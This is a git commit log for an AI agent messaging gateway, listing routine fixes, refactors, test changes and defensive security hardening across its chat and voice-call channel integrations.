`connected` as undefined in the channel runtime, causing the health
monitor to treat the channel as "stuck" and restart it every check
cycle.

Check `gateway.isConnected` immediately after registering the debug
listener and push the initial connected status if the gateway is
already connected.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-03 01:10:56 +00:00
HCL
586f057c24 fix(cron): let resolveOutboundTarget handle missing delivery target fallback
The cron delivery path short-circuits with an error when `toCandidate` is
falsy (line 151), before reaching `resolveOutboundTarget()` which provides
the `plugin.config.resolveDefaultTo()` fallback. The direct send path in
`targets.ts` already uses this fallback correctly.

Remove the early `!toCandidate` exit so that `resolveOutboundTarget()`
can attempt the plugin-provided default. Guard the WhatsApp allowFrom
override against falsy `toCandidate` to maintain existing behavior when
a target IS resolved.

Fixes #32355

Signed-off-by: HCL <chenglunhu@gmail.com>
2026-03-03 01:09:47 +00:00
Peter Steinberger
90d8b40808 perf(test): simplify plugin install fixture archive loading 2026-03-03 01:09:07 +00:00
Peter Steinberger
d7bafae387 perf(test): trim fixture and serialization overhead in integration suites 2026-03-03 01:09:07 +00:00
Peter Steinberger
588fbd5b68 perf(test): reduce temp fixture churn in guardrail-heavy suites 2026-03-03 01:09:07 +00:00
Peter Steinberger
ef920f2f39 refactor(channels): dedupe monitor message test flows 2026-03-03 01:06:00 +00:00
Peter Steinberger
57e1534df8 refactor(tests): consolidate repeated setup helpers 2026-03-03 01:06:00 +00:00
Peter Steinberger
a48a3dbdda refactor(tests): dedupe tool, projector, and delivery fixtures 2026-03-03 01:06:00 +00:00
Peter Steinberger
c3d5159121 refactor(hooks): dedupe install parameter wiring 2026-03-03 01:06:00 +00:00
Peter Steinberger
1bd20dbdb6 fix(failover): treat stop reason error as timeout 2026-03-03 01:05:24 +00:00
Peter Steinberger
a2fdc3415f fix(failover): handle unhandled stop reason error 2026-03-03 01:05:24 +00:00
Peter Steinberger
ced267c5cb fix(moonshot): apply native thinking payload compatibility 2026-03-03 01:05:24 +00:00
Peter Steinberger
287606e445 feat(acp): add kimi harness support surfaces 2026-03-03 01:05:24 +00:00
Gustavo Madeira Santana
f26853f14c CLI: dedupe config validate errors and expose allowed values 2026-03-02 20:05:12 -05:00
AytuncYildizli
a44843507f fix(slack): restore persistent per-channel session routing (#32320)
Top-level channel messages were creating isolated per-message sessions because roomThreadId fell through to threadContext.messageTs whenever replyToMode was not off.

Introduced in #10686, every new channel message got its own session key (agent:...🧵<messageTs>), breaking conversation continuity.

Fix: only derive thread-specific session keys for actual thread replies. Top-level channel messages stay on the per-channel session key regardless of replyToMode.

Fixes #32285
2026-03-03 01:00:49 +00:00
scoootscooob
de09ca149f fix(telegram): use retry logic for sticker getFile calls (#32349)
The sticker code path called ctx.getFile() directly without retry,
unlike the non-sticker media path which uses resolveTelegramFileWithRetry
(3 attempts with jitter). This made sticker downloads vulnerable to
transient Telegram API failures, particularly in group topics where
file availability can be delayed.

Refs #32326

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-03 01:00:31 +00:00
hcl
503d395780 fix(memoryFlush): guard transcript-size forced flush against repeated runs (#32358)
The `forceFlushTranscriptBytes` path (introduced in d729ab21) bypasses the
`memoryFlushCompactionCount` guard that prevents repeated flushes within the
same compaction cycle. Once the session transcript exceeds 2 MB, memory flush
fires on every single message — even when token count is well under the
compaction threshold.

Extract `hasAlreadyFlushedForCurrentCompaction()` from the inline guard in
`shouldRunMemoryFlush` and apply it to both the token-based and the
transcript-size trigger paths.

Fixes #32317

Signed-off-by: HCL <chenglunhu@gmail.com>
2026-03-03 01:00:18 +00:00
Shawn
924d9e34ef fix(discord): resample audio to 48kHz for voice messages (#32298)
Fixes #32293: Discord voice message plays at ~0.5x speed with 24kHz TTS source

When TTS providers (like mlx-audio Qwen3-TTS) output audioHz,
Discord voice at 24k messages play at half speed because Discord expects 48kHz.

This fix adds explicit sample rate conversion to 48kHz in the ensureOggOpus
function, ensuring voice messages always play at correct speed regardless
of the input audio's sample rate.

Co-authored-by: Kevin Shenghui <shenghuikevin@gmail.com>
2026-03-03 01:00:04 +00:00
Peter Steinberger
f3e6578e6c fix(test): tighten websocket and runner fixture typing 2026-03-03 00:55:01 +00:00
Peter Steinberger
e930517154 fix(ci): resolve docs lint and test typing regressions 2026-03-03 00:55:01 +00:00
Peter Steinberger
47083460ea refactor: unify inbound debounce policy and split gateway/models helpers 2026-03-03 00:54:33 +00:00
Peter Steinberger
7de4204e57 docs(acp): document sandbox limitation 2026-03-03 00:52:09 +00:00
Peter Steinberger
36dfd462a8 feat(acp): enable dispatch by default 2026-03-03 00:47:35 +00:00
Peter Steinberger
6649c22471 fix(agents): harden openai ws tool call id handling 2026-03-03 00:43:48 +00:00
Peter Steinberger
596621919c chore(test): add vitest hotspot reporter script 2026-03-03 00:43:01 +00:00
Peter Steinberger
9657ded2e1 test(perf): trim slack, hook, and plugin-validation test overhead 2026-03-03 00:43:01 +00:00
Peter Steinberger
282b107e99 test(perf): speed up cron, memory, and secrets hotspots 2026-03-03 00:43:01 +00:00
Peter Steinberger
86090b0ff2 docs(models): refresh minimax kimi glm provider docs 2026-03-03 00:40:15 +00:00
Peter Steinberger
77ecef1fde feat(models): support minimax highspeed across onboarding 2026-03-03 00:40:15 +00:00
ademczuk
53fd7f8163 fix(test): resolve Feishu hoisted mock export syntax error (#32128)
- Remove vi.hoisted() wrapper from exported mock in shared module
  (Vitest cannot export hoisted variables)
- Inline vi.hoisted + vi.mock in startup test so Vitest's per-file
  hoisting registers mocks before production imports

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-03 00:34:16 +00:00
Peter Steinberger
1b5ac8b0b1 feat(cli): add configurable banner tagline mode 2026-03-03 00:31:51 +00:00
Peter Steinberger
f6233cfa5c fix: dedupe restart sentinel reason output (#32083) (thanks @velamints2) 2026-03-03 00:30:34 +00:00
velamints2
61be533ad4 fix(restart): deduplicate reason line in restart sentinel message
When gateway.restart is triggered with a reason but no separate note,
the payload sets both message and stats.reason to the same text.
formatRestartSentinelMessage() then emits both the message line and a
redundant 'Reason: <same text>' line, doubling the restart reason in
the notification delivered to the agent session.

Skip the 'Reason:' line when stats.reason matches the already-emitted
message text. Add regression tests for both duplicate and distinct
reason scenarios.
2026-03-03 00:30:34 +00:00
Peter Steinberger
d76ddd61ec fix(discord): add missing accountId to reaction routing params 2026-03-03 00:29:20 +00:00
Peter Steinberger
82101b152a test(voice-call): split call manager tests by scenario 2026-03-03 00:29:20 +00:00
Peter Steinberger
439a7732f4 refactor(voice-call): split webhook server and tailscale helpers 2026-03-03 00:29:20 +00:00
Peter Steinberger
a96b3b406a refactor(voice-call): extract twilio twiml policy and status mapping 2026-03-03 00:29:20 +00:00
Peter Steinberger
68e982ec80 fix: stabilize internal hooks singleton registry (#32292) (thanks @Drickon) 2026-03-03 00:27:10 +00:00
Eric Lytle
d0a3743abd refactor: use ??= operator for cleaner globalThis singleton init
Addresses greptile review: collapses the if-guard + assignment into
a single ??= expression so TypeScript can narrow the type without
a non-null assertion.
2026-03-03 00:27:10 +00:00
Eric Lytle
0d8beeb4e5 fix(hooks): use globalThis singleton for handler registry to survive bundle splitting
Without this fix, the bundler can emit multiple copies of internal-hooks
into separate chunks. registerInternalHook writes to one Map instance
while triggerInternalHook reads from another — resulting in hooks that
silently fire with zero handlers regardless of how many were registered.

Reproduce: load a hook via hooks.external.entries (loader reads one chunk),
then send a message:transcribed event (get-reply imports a different chunk).
The handler list is empty; the hook never runs.

Fix: use globalThis.__openclaw_internal_hook_handlers__ as a shared
singleton. All module copies check for and reuse the same Map, ensuring
registrations are always visible to triggers.
2026-03-03 00:27:10 +00:00
Peter Steinberger
1e8afa16f0 fix: apply config env vars before model discovery (#32295) (thanks @hsiaoa) 2026-03-03 00:25:24 +00:00
hsiaoa
65dc3ee76c models-config: apply config env vars before implicit provider discovery 2026-03-03 00:25:24 +00:00
Hunter Miller
f4682742d9 feat: update tlon channel/plugin to be more fully featured (#21208)
* feat(tlon): sync with openclaw-tlon master

- Add tlon CLI tool registration with binary lookup
- Add approval, media, settings, foreigns, story, upload modules
- Add http-api wrapper for Urbit connection patching
- Update types for defaultAuthorizedShips support
- Fix type compatibility with core plugin SDK
- Stub uploadFile (API not yet available in @tloncorp/api-beta)
- Remove incompatible test files (security, sse-client, upload)

* chore(tlon): remove dead code

Remove unused Urbit channel client files:
- channel-client.ts
- channel-ops.ts
- context.ts

These were not imported anywhere in the extension.

* feat(tlon): add image upload support via @tloncorp/api

- Import configureClient and uploadFile from @tloncorp/api
- Implement uploadImageFromUrl using uploadFile
- Configure API client before media uploads
- Update dependency to github:tloncorp/api-beta#main

* fix(tlon): restore SSRF protection with event ack tracking

- Restore context.ts and channel-ops.ts for SSRF support
- Restore sse-client.ts with urbitFetch for SSRF-protected requests
- Add event ack tracking from openclaw-tlon (acks every 20 events)
- Pass ssrfPolicy through authenticate() and UrbitSSEClient
- Fixes security regression from sync with openclaw-tlon

* fix(tlon): restore buildTlonAccountFields for allowPrivateNetwork

The inlined payload building was missing allowPrivateNetwork field,
which would prevent the setting from being persisted to config.

* fix(tlon): restore SSRF protection in probeAccount

- Restore channel-client.ts for UrbitChannelClient
- Use UrbitChannelClient with ssrfPolicy in probeAccount
- Ensures account probe respects allowPrivateNetwork setting

* feat(tlon): add ownerShip to setup flow

ownerShip should always be set as it controls who receives
approval requests and can approve/deny actions.

* chore(tlon): remove unused http-api.ts

After restoring SSRF protection, probeAccount uses UrbitChannelClient
instead of @urbit/http-api. The http-api.ts wrapper is no longer needed.

* refactor(tlon): simplify probeAccount to direct /~/name request

No channel needed - just authenticate and GET /~/name.
Removes UrbitChannelClient, keeping only UrbitSSEClient for monitor.

* chore(tlon): add logging for event acks

* chore(tlon): lower ack threshold to 5 for testing

* fix(tlon): address security review issues

- Fix SSRF in upload.ts: use urbitFetch with SSRF protection
- Fix SSRF in media.ts: use urbitFetch with SSRF protection
- Add command whitelist to tlon tool to prevent command injection
- Add getDefaultSsrFPolicy() helper for uploads/downloads

* fix(tlon): restore auth retry and add reauth on SSE reconnect

- Add authenticateWithRetry() helper with exponential backoff (restores lost logic from #39)
- Add onReconnect callback to re-authenticate when SSE stream reconnects
- Add UrbitSSEClient.updateCookie() method for proper cookie normalization on reauth

* fix(tlon): add infinite reconnect with reset after max attempts

Instead of giving up after maxReconnectAttempts, wait 10 seconds then
reset the counter and keep trying. This ensures the monitor never
permanently disconnects due to temporary network issues.

* test(tlon): restore security, sse-client, and upload tests

- security.test.ts: DM allowlist, group invite, bot mention detection, ship normalization
- sse-client.test.ts: subscription handling, cookie updates, reconnection params
- upload.test.ts: image upload with SSRF protection, error handling

* fix(tlon): restore DM partner ship extraction for proper routing

- Add extractDmPartnerShip() to extract partner from 'whom' field
- Use partner ship for routing (more reliable than essay.author)
- Explicitly ignore bot's own outbound DM events
- Log mismatch between author and partner for debugging

* chore(tlon): restore ack threshold to 20

* chore(tlon): sync slash commands support from upstream

- Add stripBotMention for proper CommandBody parsing
- Add command authorization logic for owner-only slash commands
- Add CommandAuthorized and CommandSource to context payload

* fix(tlon): resolve TypeScript errors in tests and monitor

- Store validated account url/code before closure to fix type narrowing
- Fix test type annotations for mode rules
- Add proper Response type cast in sse-client mock
- Use optional chaining for init properties

* docs(tlon): update docs for new config options and capabilities

- Document ownerShip for approval system
- Document autoAcceptDmInvites and autoAcceptGroupInvites
- Update status to reflect rich text and image support
- Add bundled skill section
- Update notes with formatting and image details
- Fix pnpm-lock.yaml conflict

* docs(tlon): fix dmAllowlist description and improve allowPrivateNetwork docs

- Correct dmAllowlist: empty means no DMs allowed (not allow all)
- Promote allowPrivateNetwork to its own section with examples
- Add warning about SSRF protection implications

* docs(tlon): clarify ownerShip is auto-authorized everywhere

- Add ownerShip to minimal config example (recommended)
- Document that owner is automatically allowed for DMs and channels
- No need to add owner to dmAllowlist or defaultAuthorizedShips

* docs(tlon): add capabilities table, troubleshooting, and config reference

Align with Matrix docs format:
- Capabilities table for quick feature reference
- Troubleshooting section with common failures
- Configuration reference with all options

* docs(tlon): fix reactions status and expand bundled skill section

- Reactions ARE supported via bundled skill (not missing)
- Add link to skill GitHub repo
- List skill capabilities: contacts, channels, groups, DMs, reactions, settings

* fix(tlon): use crypto.randomUUID instead of Math.random for channel ID

Fixes security test failure - Math.random is flagged as weak randomness.

* docs: fix markdown lint - add blank line before </Step>

* fix: address PR review issues for tlon plugin

- upload.ts: Use fetchWithSsrFGuard directly instead of urbitFetch to
  preserve full URL path when fetching external images; add release() call
- media.ts: Same fix - use fetchWithSsrFGuard for external media downloads;
  add release() call to clean up resources
- channel.ts: Use urbitFetch for poke API to maintain consistent SSRF
  protection (DNS pinning + redirect handling)
- upload.test.ts: Update mocks to use fetchWithSsrFGuard instead of urbitFetch

Addresses blocking issues from jalehman's review:
1. Fixed incorrect URL being fetched (validateUrbitBaseUrl was stripping path)
2. Fixed missing release() calls that could leak resources
3. Restored guarded fetch semantics for poke operations

* docs: add tlon changelog fragment

* style: format tlon monitor

* fix: align tlon lockfile and sse id generation

* docs: fix onboarding markdown list spacing

---------

Co-authored-by: Josh Lehman <josh@martian.engineering>
2026-03-02 16:23:42 -08:00
Peter Steinberger
d37ad9d866 test(perf): slim ios team-id harness and add perf budget guard 2026-03-03 00:20:46 +00:00
Peter Steinberger
4b3d9f4fb2 test(perf): trim fixture churn in install and cron suites 2026-03-03 00:20:46 +00:00
Peter Steinberger
6bf84ac28c perf(runtime): reduce hot-path config and routing overhead 2026-03-03 00:20:46 +00:00
Glucksberg
051b380d38 fix(hooks): return 200 instead of 202 for webhook responses (#28204)
* fix(hooks): return 200 instead of 202 for webhook responses (#22036)

* docs(webhook): document 200 status for hooks agent

* chore(changelog): add webhook ack note openclaw#28204 thanks @Glucksberg

---------

Co-authored-by: Shakker <shakkerdroid@gmail.com>
2026-03-03 00:19:31 +00:00
Hershey Goldberger
dee7cda1ec feat(voice-call): add call-waiting queue for inbound Twilio calls 2026-03-03 00:17:21 +00:00
Peter Steinberger
8824565c2a chore(cli): refresh tagline set 2026-03-03 00:17:18 +00:00
Peter Steinberger
d7dda4dd1a refactor: dedupe channel outbound and monitor tests 2026-03-03 00:15:15 +00:00
Peter Steinberger
6a42d09129 refactor: dedupe gateway config and infra flows 2026-03-03 00:15:14 +00:00
Peter Steinberger
fd3ca8a34c refactor: dedupe agent and browser cli helpers 2026-03-03 00:15:00 +00:00
Peter Steinberger
fe14be2352 Merge pull request #4325: fix(voice-call) verify stale calls with provider 2026-03-03 00:14:37 +00:00
Peter Steinberger
e870cee542 fix: restore control-ui basePath webhook passthrough (#32311) (thanks @ademczuk) 2026-03-03 00:11:13 +00:00
ademczuk
3e9c8721fb fix(gateway): let non-GET requests fall through controlUi routing when basePath is set
When controlUiBasePath is set, classifyControlUiRequest returned
method-not-allowed (405) for all non-GET/HEAD requests under basePath,
blocking plugin webhook handlers (BlueBubbles, Mattermost, etc.) from
receiving POST requests. This is a 2026.3.1 regression.

Return not-control-ui instead, matching the empty-basePath behavior, so
requests fall through to plugin HTTP handlers. Remove the now-dead
method-not-allowed type variant, handler branch, and utility function.

Closes #31983
Closes #32275

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-03 00:11:13 +00:00
Peter Steinberger
11c397ef46 docs: strengthen prompt injection warning for weaker models 2026-03-03 00:06:39 +00:00
Peter Steinberger
4bfbf2dfff test(refactor): dedupe secret resolver posix fixtures and add registry cache regression 2026-03-03 00:05:39 +00:00
Peter Steinberger
1d0a4d1be2 refactor(runtime): harden channel-registry cache invalidation and split outbound delivery flow 2026-03-03 00:05:39 +00:00
Shakker
d6491d8d71 fix: narrow webhook event provider call id typing 2026-03-03 00:05:03 +00:00
Peter Steinberger
6b85ec3022 docs: tighten subscription guidance and update MiniMax M2.5 refs 2026-03-03 00:02:37 +00:00
Peter Steinberger
3e1ec5ad8b fix: land Twilio signature port-variant verification (#25140) (thanks @drvoss) 2026-03-03 00:02:03 +00:00
drvoss
c5ddba52d7 fix(voice-call): retry Twilio signature verification without port in URL
Twilio signs webhook requests using the URL without the port component,
even when the publicUrl config includes a non-standard port. Add a fallback
that strips the port from the verification URL when initial validation fails,
matching the behavior of Twilio's official helper library.

Closes #6334
2026-03-03 00:02:03 +00:00
Peter Steinberger
381bb867ac fix: land external Twilio outbound-api webhook calls (#31181) (thanks @scoootscooob) 2026-03-02 23:56:41 +00:00
scoootscooob
24dcd68f42 fix: rename createInboundCall → createWebhookCall, preserve event direction
Address Greptile review: externally-initiated outbound-api calls were
stored with hardcoded direction: "inbound". Now createWebhookCall accepts
a direction parameter so the CallRecord accurately reflects the event's
actual direction. Also skip inboundGreeting for outbound calls and add a
test asserting inbound direction is preserved.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 23:56:41 +00:00
scoootscooob
a1b4a0066b fix(voice-call): accept externally-initiated Twilio outbound-api calls
Fixes #30900 — Calls initiated directly via the Twilio REST API
(Direction=outbound-api) were rejected as "unknown call" because
processEvent only auto-registered calls with direction=inbound.
External outbound-api calls now get registered in the CallManager
so the media stream is accepted. Inbound policy checks still only
apply to true inbound calls.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 23:56:41 +00:00
Peter Steinberger
a5b81d1c13 test(perf): remove long exec-delay sleep in secret resolver tests 2026-03-02 23:56:30 +00:00
Peter Steinberger
d3dc4e54f7 perf(runtime): trim hot-path allocations and cache channel plugin lookups 2026-03-02 23:56:30 +00:00
Peter Steinberger
dba47f349f fix: land Twilio inbound greeting for answered calls (#29121) (thanks @xinhuagu) 2026-03-02 23:54:54 +00:00
Xinhua Gu
fe4c627432 fix(voice-call): speak inbound greeting for twilio answered calls 2026-03-02 23:54:54 +00:00
Peter Steinberger
b8b8a5f314 fix(security): enforce explicit ingress owner context 2026-03-02 23:50:36 +00:00
Peter Steinberger
ea3b7dfde5 fix(channels): normalize MIME kind parsing and reaction fallbacks 2026-03-02 23:48:11 +00:00
Peter Steinberger
32ecd6f579 refactor(auto-reply,telegram,config): extract guard and forum helpers 2026-03-02 23:48:11 +00:00
Peter Steinberger
dc825e59f5 refactor: unify system.run approval cwd revalidation 2026-03-02 23:46:54 +00:00
Peter Steinberger
500d7cb107 fix: revalidate approval cwd before system.run execution 2026-03-02 23:42:10 +00:00
Brian Mendonca
1234cc4c31 Feishu: reply to topic roots (#29968)
* Feishu: reply to topic roots

* Changelog: note Feishu topic-root reply targeting

---------

Co-authored-by: bmendonca3 <208517100+bmendonca3@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 17:41:36 -06:00
Peter Steinberger
abec8a4f0a test: preserve windows backup-rotation compose coverage (#32286) (thanks @jalehman) 2026-03-02 23:38:17 +00:00
Josh Lehman
41bdf2df41 test: skip chmod-dependent backup rotation tests on Windows
chmod is a no-op on Windows — file permissions always report 0o666
regardless of what was set, so asserting 0o600 will never pass.
2026-03-02 23:38:17 +00:00
Peter Steinberger
c20ee11348 fix: harden fs-safe write boundary checks 2026-03-02 23:36:23 +00:00
ningding97
4d19dc8671 test(cron): assert embedded model on last call to avoid bun ordering flake
Bun runs can trigger multiple embedded agent invocations in a single cron
turn (e.g. retries/fallbacks), making assertions against call[0] flaky.
Assert against the last invocation instead.
2026-03-02 23:36:13 +00:00
Peter Steinberger
73e08ed7b0 test: expand reminder guard fail-closed coverage (#32255) (thanks @scoootscooob) 2026-03-02 23:35:14 +00:00
scoootscooob
5868344ade fix(reminder): do not suppress note when sessionKey is unavailable
Address Greptile review: when sessionKey is undefined the fallback
matched any enabled cron job, which could silently suppress the guard
note due to jobs from unrelated sessions.  Return false instead so the
note always appears when session scoping is not possible.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 23:35:14 +00:00
scoootscooob
abb0252a1a fix(reply): suppress unscheduled-reminder note when session already has active cron
Before appending the "I did not schedule a reminder" guard note, check the
cron store for enabled jobs matching the current session key.  This prevents
false positives when the agent references an existing cron created in a
prior turn (e.g. "I'll ping you when it's done" while a monitoring cron is
already running).

The check only fires on the rare path where the text matches commitment
patterns AND no cron was added in the current turn, so the added I/O is
negligible.

Closes #32228

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 23:35:14 +00:00
Mark L
55f04636f3 fix(feishu): suppress stale missing-scope grant notices (openclaw#31870) thanks @liuxiaopai-ai
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check (fails on unrelated baseline lint in src/browser/chrome.ts)

Co-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 17:34:11 -06:00
YolenSong
f22fc17c78 feat(feishu): prefer thread_id for topic session routing (openclaw#29788) thanks @songyaolun
Verified:
- pnpm test -- extensions/feishu/src/bot.test.ts extensions/feishu/src/reply-dispatcher.test.ts
- pnpm build

Co-authored-by: songyaolun <26423459+songyaolun@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 17:33:08 -06:00
Peter Steinberger
28c88e9fa1 fix: harden telegram forum-service mention guard typing (#32262) (thanks @scoootscooob) 2026-03-02 23:32:53 +00:00
scoootscooob
58ad617e64 fix: detect forum service messages by field presence, not text absence
Stickers, voice notes, and captionless photos from the bot also lack
text and caption fields, so the previous check incorrectly classified
them as system messages and suppressed implicitMention.

Switch to checking for Telegram's forum_topic_* / general_forum_topic_*
service-message fields which only appear on actual service messages.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 23:32:53 +00:00
scoootscooob
dc2aa1e21d fix(telegram): also check caption for bot media replies
Address Greptile review feedback: bot media messages (photo/video) use
caption instead of text, so they would be incorrectly classified as
system messages.  Add !caption guard to the system message check.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 23:32:53 +00:00
scoootscooob
8fdd1d2f05 fix(telegram): exclude forum topic system messages from implicitMention
When a Telegram Forum topic is created by the bot, Telegram generates a
system message with from.id=botId and empty text.  Every subsequent user
message in that topic has reply_to_message pointing to this system
message, causing the implicitMention check to fire and bypassing
requireMention for every single message.

Add a guard that recognises system messages (is_bot=true with no text)
and excludes them from implicit mention detection, so that only genuine
replies to bot messages trigger the bypass.

Closes #32256

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 23:32:53 +00:00
Peter Steinberger
bb60687b89 refactor(nodes): dedupe camera payload and node resolve helpers 2026-03-02 23:32:41 +00:00
Peter Steinberger
a282b459b9 fix(ci): remove unused chrome ws type import 2026-03-02 23:31:42 +00:00
Peter Steinberger
de77a36579 test: harden MIME normalization regression coverage (#32280) (thanks @Lucenx9) 2026-03-02 23:31:19 +00:00
Lucenx9
79e114a82f test(media): ensure WhatsApp scope rule is exercised in MIME regression 2026-03-02 23:31:19 +00:00
Lucenx9
7c7c22d66f test(media): use direct chatType in WhatsApp MIME regression case 2026-03-02 23:31:19 +00:00
Lucenx9
ec688d809f fix(media): normalize MIME kind detection for audio transcription 2026-03-02 23:31:19 +00:00
Sid
481da215b9 fix(feishu): persist dedup cache across gateway restarts via warmup (openclaw#31605) thanks @Sid-Qin
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini (fails on unrelated baseline test: src/config/config.legacy-config-detection.rejects-routing-allowfrom.test.ts)

Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 17:30:40 -06:00
Peter Steinberger
132794fe74 feat(security): audit workspace skill symlink escapes 2026-03-02 23:28:54 +00:00
Peter Steinberger
d4ec0ed3c7 docs(security): clarify trusted-local hardening-only cases 2026-03-02 23:28:54 +00:00
Peter Steinberger
2e0f5b73d1 fix(ci): stabilize cross-platform config test assertions 2026-03-02 23:28:24 +00:00
不做了睡大觉
66397c2855 fix(feishu): restore private chat pairing replies in Lark/Feishu (openclaw#31403) thanks @stakeswky
Verified:
- pnpm test -- extensions/feishu/src/bot.test.ts
- pnpm build

Co-authored-by: stakeswky <64798754+stakeswky@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 17:27:39 -06:00
Tak Hoffman
e2483a5381 Browser: fix ws RawData type import for dts build 2026-03-02 17:24:34 -06:00
Peter Steinberger
c703aa0fe9 fix(agents): align sandboxed ACP prompt guidance 2026-03-02 23:24:02 +00:00
Peter Steinberger
3bf19d6f40 fix(security): fail-close node camera URL downloads 2026-03-02 23:23:39 +00:00
Peter Steinberger
7365aefa19 fix(ci): resolve chrome websocket raw-data typing 2026-03-02 23:18:06 +00:00
Peter Steinberger
7066d5e192 refactor: extract shared sandbox and gateway plumbing 2026-03-02 23:16:47 +00:00
Sid
350d041eaf fix(feishu): serialize message handling per chat to prevent skipped messages (openclaw#31807) thanks @Sid-Qin
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check (fails on unrelated pre-existing TypeScript error in src/browser/chrome.ts)

Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 17:14:00 -06:00
Onur Solmaz
e05bcccde8 chore(pi): change wording in landpr slash prompt, prefer squash (#32279)
* chore(pi): remove rebase flow from landpr prompt

* chore(pi): prefer squash wording in landpr prompt
2026-03-03 00:13:11 +01:00
Vincent Koc
0954b6bf5f fix(hooks): propagate ephemeral sessionId through embedded tool contexts (#32273)
* fix(plugins): expose ephemeral sessionId in tool contexts for per-conversation isolation

The plugin tool context (`OpenClawPluginToolContext`) and tool hook
context (`PluginHookToolContext`) only provided `sessionKey`, which
is a durable channel identifier that survives /new and /reset.
Plugins like mem0 that need per-conversation isolation (e.g. mapping
Mem0 `run_id`) had no way to distinguish between conversations,
causing session-scoped memories to persist unbounded across resets.

Add `sessionId` (ephemeral UUID regenerated on /new and /reset) to:
- `OpenClawPluginToolContext` (factory context for plugin tools)
- `PluginHookToolContext` (before_tool_call / after_tool_call hooks)
- Internal `HookContext` for tool call wrappers

Thread the value from the run attempt through createOpenClawCodingTools
→ createOpenClawTools → resolvePluginTools and through the tool hook
wrapper.

Closes #31253

Made-with: Cursor

* fix(agents): propagate embedded sessionId through tool hook context

* test(hooks): cover sessionId in embedded tool hook contexts

* docs(changelog): add sessionId hook context follow-up note

* test(hooks): avoid toolCallId collision in after_tool_call e2e

---------

Co-authored-by: SidQin-cyber <sidqin0410@gmail.com>
2026-03-02 15:11:51 -08:00
Berton
3b3e47e15d Feishu: wire inbound message debounce (openclaw#31548) thanks @bertonhan
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check (fails on unrelated pre-existing lint in ui/src/ui/views/agents-utils.ts and src/pairing/pairing-store.ts)
- pnpm test:macmini (previous run passed before rebase)

Co-authored-by: bertonhan <60309291+bertonhan@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 17:10:47 -06:00
Vincent Koc
8f3eb0f7b4 fix(browser): use CDP command probe for cdpReady health (#31421)
* fix(browser): validate cdp command channel health

* test(browser): cover stale cdp command channel readiness

* changelog: note cdp command-channel readiness check

* browser(cdp): detach ws message listener on health-probe cleanup
2026-03-02 15:10:28 -08:00
Peter Steinberger
0e16749f00 ci: fix lint and audit regressions on main 2026-03-02 23:08:23 +00:00
Peter Steinberger
7eda632324 refactor: split slack/discord/session maintenance helpers 2026-03-02 23:07:20 +00:00
不做了睡大觉
3043e68dfa fix(feishu): support Lark private chats as direct messages (openclaw#31400) thanks @stakeswky
Verified:
- pnpm test -- extensions/feishu/src/bot.checkBotMentioned.test.ts
- pnpm build
- pnpm check (blocked by unrelated baseline lint errors in untouched files)
- pnpm test:macmini (not run after pnpm check blocked)

Co-authored-by: stakeswky <64798754+stakeswky@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 17:04:42 -06:00
Peter Steinberger
36c6b63ea6 style(telegram): apply formatter to draft-stream warning 2026-03-02 23:04:13 +00:00
Peter Steinberger
fc1787fd4b feat(telegram): default streaming preview to partial 2026-03-02 23:04:12 +00:00
Peter Steinberger
2287d1ec13 test: micro-optimize slow suites and CLI command setup 2026-03-02 23:00:49 +00:00
Peter Steinberger
ba5ae5b4f1 perf(routing): cache route and mention regex resolution 2026-03-02 23:00:49 +00:00
Altay
a81704e622 fix(skills): scope skill-command APIs to respect agent allowlists (#32155)
* refactor(skills): use explicit skill-command scope APIs

* test(skills): cover scoped listing and telegram allowlist

* fix(skills): add mergeSkillFilters edge-case tests and simplify dead code

Cover unrestricted-co-tenant and empty-allowlist merge paths in
skill-commands tests. Remove dead ternary in bot-handlers pagination.
Add clarifying comments on undefined vs [] filter semantics.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* refactor(skills): collapse scope functions into single listSkillCommandsForAgents

Replace listSkillCommandsForAgentIds, listSkillCommandsForAllAgents, and
the deprecated listSkillCommandsForAgents with a single function that
accepts optional agentIds and falls back to all agents when omitted.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(skills): harden realpathSync race and add missing test coverage

- Wrap fs.realpathSync in try-catch to gracefully skip workspaces that
  disappear between existsSync and realpathSync (TOCTOU race).
- Log verbose diagnostics for missing/unresolvable workspace paths.
- Add test for overlapping allowlists deduplication on shared workspaces.
- Add test for graceful skip of missing workspaces.
- Add test for pagination callback without agent suffix (default agent).
- Clean up temp directories in skill-commands tests.

